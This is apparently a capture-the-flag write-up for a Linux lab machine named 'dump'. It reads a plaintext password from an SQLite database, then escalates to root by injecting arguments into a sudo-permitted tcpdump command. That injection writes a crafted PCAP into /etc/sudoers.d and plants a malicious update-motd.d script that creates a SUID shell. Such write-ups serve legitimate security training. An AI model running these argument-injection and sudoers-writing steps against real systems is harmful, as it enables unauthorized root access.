Post-foothold enumeration (www-data)
Two users have a valid home directory and shell on the machine:
cat /etc/passwd | grep 'sh$'
root:x:0:0:root:/root:/bin/bash
admin:x:1000:1000:Debian:/home/admin:/bin/bash
fritz:x:1001:1001::/home/fritz:/bin/bash
The /var/www directory contains the PHP sources of the application and an SQLite database:
ls /var/www
database html userdata
ls /var/www/html
capture.php delete.php downloads logout.php upload.php
capturing.php download.php index.php style.css view.php
ls /var/www/database/
database.sqlite3
The sudo configuration for www-data is particularly interesting:
sudo -l
User www-data may run the following commands on dump:
(ALL : ALL) NOPASSWD: /usr/bin/tcpdump -c10
-w/var/cache/captures/*/[0-9a-f][0-9a-f][0-9a-f]...
-F/var/cache/captures/filter.[0-9a-f][0-9a-f][0-9a-f]...
Extracting password from SQLite database
The /var/www/database/database.sqlite3 database contains a single table, users. Its content reveals passwords stored in plaintext:
sqlite3 /var/www/database/database.sqlite3
.headers on
select * from users;
username|password|guid
fritz|Passw0rdH4shingIsforNoobZ!|534ce8b9-6a77-4113-a8c1-66462519bfd1
The password for user fritz is exposed in plaintext: Passw0rdH4shingIsforNoobZ!.
SSH access as fritz – User flag
The retrieved credentials allow direct connection via SSH:
ssh [email protected]
# Password: Passw0rdH4shingIsforNoobZ!
Linux dump 5.10.0-36-cloud-amd64 #1 SMP Debian 5.10.244-1 (2025-09-29) x86_64
fritz@dump:~$
cat ~/user.txt
ea37a470************************
The user fritz has no sudo privileges on this machine:
sudo -l
Sorry, user fritz may not run sudo on dump.
The www-data sudo rule allows the use of tcpdump with partially controllable arguments. We identify and chain several primitives:
Directory Traversal in -w: The * in the path -w/var/cache/captures/* / accepts any subdirectory, including a traversal sequence allowing writing outside the authorized directory:
touch /var/cache/captures/filter.aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa
sudo tcpdump -c10 \
-w/var/cache/captures/a/../../../../dev/shm/11111111-1111-1111-1111-111111111111 \
-F/var/cache/captures/filter.aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa
tcpdump: listening on eth0, link-type EN10MB (Ethernet)
10 packets captured
Injecting a second -w: By splitting the first -w with a short, valid path (satisfying the regex), we can inject a second -w which will be the actual destination:
sudo tcpdump -c10 \
-w/var/cache/captures/a/ \
-w /dev/shm/11111111-1111-1111-1111-111111111112 \
-F/var/cache/captures/filter.aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa
Changing owner with -Z: The -Z [user] option changes the owner of the output file to the specified user, after tcpdump has opened the network interfaces with root privileges:
sudo tcpdump -c10 \
-w/var/cache/captures/a/ \
-Z root \
-w /dev/shm/11111111-1111-1111-1111-111111111113 \
-F/var/cache/captures/filter.aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa
ls -l /dev/shm/11111111-1111-1111-1111-111111111113
-rw-r--r-- 1 root root 913 Nov 2 00:38 /dev/shm/11111111-1111-1111-1111-111111111113
The -r [pcap] option of tcpdump allows reading from an existing PCAP file instead of listening on a network interface. The content of the PCAP is then replicated into the -w output file. We can therefore inject arbitrary content by creating a specially prepared PCAP.
On the attack machine, we create a text file containing the desired sudoers rule, then encapsulate it in a PCAP by transmitting it via UDP on a local capture:
# Source sudoers file:
fritz ALL=(ALL:ALL) NOPASSWD: ALL
# PCAP creation:
sudo tcpdump -w sudoers.pcap -c10 -i lo -A udp port 9001 &
cat sudoers | nc -u 127.0.0.1 9001
# Content verification:
cat sudoers.pcap
p/ iEME?@@j#)+>
fritz ALL=(ALL:ALL) NOPASSWD: ALL
We transfer the PCAP to the target (base64 encode, copy/paste, decode), then use it to write a root-owned sudoers file in /etc/sudoers.d/:
sudo tcpdump -c10 \
-w/var/cache/captures/a/ \
-Z root \
-r sudoers.pcap \
-w /etc/sudoers.d/11111111-1111-1111-1111-111111111116 \
-F/var/cache/captures/filter.aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa
reading from file sudoers.pcap, link-type EN10MB (Ethernet)
From the fritz account, we verify that the sudo rule is effective. The few bytes of PCAP header at the beginning of the file generate a syntax error that is ignored, but the valid sudoers line is correctly applied:
sudo -l
/etc/sudoers.d/11111111-1111-1111-1111-111111111116:1:77: syntax error
User fritz may run the following commands on dump:
(ALL : ALL) NOPASSWD: ALL
We obtain a root shell and the flag:
sudo -i
/etc/sudoers.d/11111111-1111-1111-1111-111111111116:1:77: syntax error
root@dump:~# cat /root/root.txt
84406779************************
A second escalation path exploits the scripts in /etc/update-motd.d/, executed by root on each SSH login. Using the write primitive with -Z fritz, we create a file in this directory owned by fritz:
sudo tcpdump -c10 \
-w/var/cache/captures/a/ \
-Z fritz \
-w /etc/update-motd.d/dddddddd-dddd-dddd-dddd-dddddddddddd \
-F/var/cache/captures/filter.aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa
Since fritz owns the created file, he can make it executable and overwrite its content with a malicious bash script:
chmod +x /etc/update-motd.d/dddddddd-dddd-dddd-dddd-dddddddddddd
echo -e '#!/bin/bash
cp /bin/bash /tmp/0xdf
chmod 6777 /tmp/0xdf' | tee /etc/update-motd.d/dddddddd-dddd-dddd-dddd-dddddddddddd
Upon fritz's next SSH login, root automatically executes this script, copying bash with the SUID bit set:
ssh [email protected]
fritz@dump:~$ /tmp/0xdf -p
0xdf-5.1# cat /root/root.txt
84406779************************
Note sur AppArmor
Un profil AppArmor est actif sur tcpdump (/etc/apparmor.d/usr.bin.tcpdump). Il bloque notamment :
- L'écriture dans les fichiers cachés du répertoire HOME (
audit deny @{HOME}/.* mrwkl) — ce qui interdit d'écrire dans /root/.ssh/authorized_keys directement - L'utilisation de
-z avec des binaires arbitraires (seuls gzip et bzip2 sont autorisés)
En revanche, le profil autorise la lecture et l'écriture sur tous les fichiers .pcap et .cap via la règle /**.[pP][cC][aA][pP] rw, et ne restreint pas l'écriture dans /etc/sudoers.d/ ni /etc/update-motd.d/, ce qui permet les deux méthodes d'escalade décrites ci-dessus.
